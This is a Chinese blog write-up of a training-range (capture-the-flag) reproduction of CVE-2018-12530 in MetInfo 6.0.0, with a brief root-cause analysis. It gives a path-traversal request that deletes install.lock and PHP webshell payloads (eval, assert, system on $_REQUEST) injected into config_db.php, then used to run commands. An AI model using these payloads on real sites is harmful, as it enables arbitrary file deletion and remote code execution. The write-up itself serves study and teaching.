【漏洞复现】Metinfo 6.0.0任意文件删除(CVE-2018-12530)

【漏洞复现】 Metinfo 6.0.0任意文件删除(CVE-2018-12530)


0x01 靶场介绍

MetInfo是中国米拓信息技术有限公司的一套使用PHP和Mysql开发的内容管理系统(CMS)。MetInfo6.0.0版本中的install\index.php文件存在安全漏洞。远程攻击者可利用该漏洞向config_db.php文件写入任意的PHP代码。

春秋云镜靶场:Metinfo 6.0.0任意文件删除。后台密码:f2xWcke5KN6pfebu

0x02 影响版本

Metinfo 6.0.0

0x03 具体步骤

进入靶场,界面如下:

首先随便注册了一个普通账户进入后台:

观察到URL中普通用户是/member,尝试在URL输入管理员/admin,竟直接跳转后台地址:/admin/index.php?n=login&c=login&a=doindex

根据所给后台密码f2xWcke5KN6pfebu进行管理员admin登录:

进入后台,直接使用payload删除安装锁定保护文件:

/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock

再回到首页,发现进入了安装界面:

数据库配置处随便找个栏目插入payload,数据库密码root:

*/eval($_REQUEST[1])/*
*/assert($_REQUEST[1])/*
*/@system($_REQUEST[1]);/*

创建失败很正常,说明payload已成功插入配置文件中

直接访问配置文件路径:

/config/config_db.php?1=phpinfo();

测试访问成功:

查找flag:

/config/config_db.php?1=system("cat%20/flag");

0x04 漏洞分析

MetInfo 6.0.0版本存在任意文件读取和任意代码执行漏洞。在安装过程中没有对输入进行过滤,导致任意代码执行,执行webshell。

MetInfo 6.0.0源码下载:

http://www.metinfo.cn/upload/file/MetInfo6.0.0.zip

任意文件读取分析

没有对传入的filenamecsv过滤,而是直接读取了这个csv文件,读取完成后直接采取了unlink操作,故产生了漏洞。

/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock

任意代码执行分析

源码:

利用/* */对配置文件中的数据库信息进行前后闭合,使php代码只执行payload:

pass = "*/assert($_REQUEST[w])/*"
拼接之后代码为:
<?php
     /*
       con_db_host = "localhost"
       con_db_port = "3306"
       con_db_id   = "root"
       con_db_pass    = ""*/assert($_REQUEST[w]);/*""
       con_db_name = "metinfo"
       tablepre    =  "met_"
       db_charset  =  "utf8";
      */
?>

Metinfo 6.0.0 众多漏洞分析参考学习:https://www.anquanke.com/post/id/154149


posted @ 2023-03-17 16:37  0dot7  阅读(844)  评论(0编辑  收藏  举报